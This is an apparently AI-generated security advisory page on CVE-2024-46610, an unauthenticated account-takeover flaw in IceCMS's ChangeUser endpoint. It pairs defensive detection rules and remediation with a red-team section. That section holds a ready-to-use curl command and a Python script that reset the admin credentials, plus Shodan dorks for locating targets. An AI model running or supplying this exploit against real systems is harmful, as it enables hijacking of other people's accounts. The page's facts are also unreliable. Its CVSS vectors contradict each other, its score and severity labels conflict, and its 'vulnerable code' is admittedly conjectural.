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SOON CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N 🐛 CWE-284
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-46610

CVE-2024-46610 Security Advisory in Icecms
📅 PUBLISHED: 2024-09-24 00:00 UTC 🔄 UPDATED: 2026-08-12 09:00 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.06%
👁️
0.06% probability
1.6× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: <= 3.4.7
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: N Confidentiality None
I: H Integrity High
A: N Availability None
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-46610 is a critical access control vulnerability in IceCMS versions 3.4.7 and earlier. The flaw resides in the ChangeUser function within UserController.java, specifically at the endpoint /User/ChangeUser/s. An unauthenticated attacker can send a crafted POST request to arbitrarily modify any user's information, including their username and password. This effectively allows for complete account takeover without any prior authentication. The vulnerability is publicly known, and proof-of-concept code is available, making it a high-priority threat for any organization using the affected IceCMS versions. No official patch has been released at this time.

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CVSS Breakdown & Threat Level

  • CVSS Score: 8.6 (High)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H
  • Attack Vector (AV): Network (N) - Exploitable remotely.
  • Attack Complexity (AC): Low (L) - No special conditions required.
  • Privileges Required (PR): None (N) - No authentication needed.
  • User Interaction (UI): None (N) - No user action required.
  • Scope (S): Unchanged (U) - The vulnerable component and the impacted component are the same.
  • Confidentiality (C): None (N) - No direct data exposure.
  • Integrity (I): High (H) - Complete compromise of user account data.
  • Availability (A): High (H) - An attacker could lock out legitimate users by changing passwords.

Threat Level: Critical. The combination of no required privileges, low attack complexity, and the ability to take over any user account makes this a severe threat.

Deep Dive & Mechanics

The vulnerability is a classic case of improper access control (CWE-284). The ChangeUser function in UserController.java is designed to allow users to modify their own profile information. However, the endpoint /User/ChangeUser/s fails to verify that the requesting user is authorized to modify the target user's data.

The core issue is that the server-side code likely accepts a user identifier (e.g., user ID or username) from the POST request body without validating that the authenticated session (or lack thereof) corresponds to that user. An attacker can craft a POST request to this endpoint with arbitrary parameters, such as:

POST /User/ChangeUser/s HTTP/1.1
Host: target-icecms-instance.com
Content-Type: application/x-www-form-urlencoded

id=1&username=newadmin&password=newpassword123

The server processes this request and updates the user with ID 1 (likely the admin) to have the username newadmin and password newpassword123. The attacker can then log in with these new credentials.

Vulnerable vs. Patched Code

Since no official patch is available, the vulnerable code is presumed to be in the UserController.java file. The vulnerable code likely looks like this:

Vulnerable Code (Conceptual):

@PostMapping("/ChangeUser/s")
public ResponseEntity<?> changeUser(@RequestBody User user) {
    // Directly updates the user without checking if the requester is the same user
    userService.updateUser(user);
    return ResponseEntity.ok("User updated");
}

Patched Code (Conceptual):

@PostMapping("/ChangeUser/s")
public ResponseEntity<?> changeUser(@RequestBody User user, HttpSession session) {
    // Retrieve the authenticated user's ID from the session
    Integer currentUserId = (Integer) session.getAttribute("userId");
    if (currentUserId == null || !currentUserId.equals(user.getId())) {
        return ResponseEntity.status(HttpStatus.FORBIDDEN).body("Access denied");
    }
    userService.updateUser(user);
    return ResponseEntity.ok("User updated");
}

The patched version adds a check to ensure the user ID in the request matches the authenticated user's ID from the session.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • A target running IceCMS <= 3.4.7.
  • Knowledge of a valid user ID (e.g., admin is often ID 1).

Exploitation Steps:

  1. Identify Target: Find an IceCMS instance using Shodan dorks or other reconnaissance.

  2. Craft Request: Use curl or a tool like Burp Suite to send a POST request to the vulnerable endpoint.

    curl -X POST http://target-icecms.com/User/ChangeUser/s \
      -H "Content-Type: application/x-www-form-urlencoded" \
      -d "id=1&username=attacker_admin&password=AttackerPass123!"
    
  3. Verify Takeover: Log in with the new credentials (attacker_admin / AttackerPass123!).

  4. Escalate: Once logged in as admin, explore the CMS for further exploitation (e.g., file upload, SQL injection).

Automated Exploit (Python):

import requests

target = "http://target-icecms.com"
endpoint = "/User/ChangeUser/s"
data = {
    "id": "1",
    "username": "pwned_admin",
    "password": "PwnedPass123!"
}

response = requests.post(target + endpoint, data=data)
if response.status_code == 200:
    print(f"[+] User takeover successful! Login with {data['username']}:{data['password']}")
else:
    print(f"[-] Exploit failed. Status code: {response.status_code}")

Blue Team (Defensive)

Detection & Prevention:

  1. Monitor Logs: Look for unusual POST requests to /User/ChangeUser/s from unauthenticated sources or with unexpected user IDs.
  2. Web Application Firewall (WAF): Create a rule to block POST requests to /User/ChangeUser/s that do not contain a valid session token or that attempt to modify user IDs other than the session user.
  3. Network Segmentation: Ensure the IceCMS application is not directly exposed to the internet if possible.
  4. Honeypot: Deploy a fake IceCMS instance to lure attackers and gather intelligence.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • POST requests to /User/ChangeUser/s with parameters id, username, and password.
    • Unusual login attempts from IP addresses that previously sent such POST requests.
    • Successful logins with newly created or modified usernames.
  • Host IOCs:
    • Unexpected changes to user accounts in the IceCMS database.
    • New user accounts with administrative privileges.
    • Log entries showing user modifications without a corresponding authenticated session.
  • File IOCs:
    • Modified UserController.java file (if attacker patches the vulnerability themselves).
    • Presence of exploit scripts on the server.

Detection Engineering

YARA Rule

rule Detect_IceCMS_Account_Takeover_Exploit {
    meta:
        description = "Detects HTTP POST requests targeting the IceCMS ChangeUser endpoint with account takeover intent"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-46610"
    strings:
        $endpoint = "/User/ChangeUser/s"
        $param_id = "id="
        $param_username = "username="
        $param_password = "password="
    condition:
        all of them
}

Sigma Rule

title: IceCMS Account Takeover via ChangeUser Endpoint
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects unauthenticated POST requests to the IceCMS ChangeUser endpoint, indicating a potential CVE-2024-46610 exploitation attempt.
author: Valters IT
date: 2024/10/27
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-46610
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/User/ChangeUser/s'
        cs-uri-query|contains|all:
            - 'id='
            - 'username='
            - 'password='
    condition: selection
falsepositives:
    - Legitimate user profile updates (if session validation is properly implemented)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-46610 IceCMS Account Takeover Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/User/ChangeUser/s"; http_uri; content:"id="; http_client_body; content:"username="; http_client_body; content:"password="; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Isolate the Application: If possible, take the IceCMS application offline or behind a VPN until a patch is applied.
  2. Implement a WAF Rule: Block POST requests to /User/ChangeUser/s that do not originate from authenticated sessions.
  3. Manual Code Fix: If you have access to the source code, apply the patched code logic described in the "Vulnerable vs. Patched Code" section.

Long-Term Actions:

  1. Vendor Patch: Monitor the IceCMS vendor for an official security patch. Apply it immediately upon release.
  2. Upgrade: If a patched version becomes available, upgrade to it.
  3. Security Audit: Conduct a thorough security audit of the IceCMS application to identify other potential vulnerabilities.
  4. Principle of Least Privilege: Ensure that all user management functions require proper authentication and authorization checks.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For further analysis or incident response assistance, contact your Valters IT representative.

👁️ SHODAN DORKS (THREAT HUNTING)

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http.title:"IceCMS"
http.html:"IceCMS"

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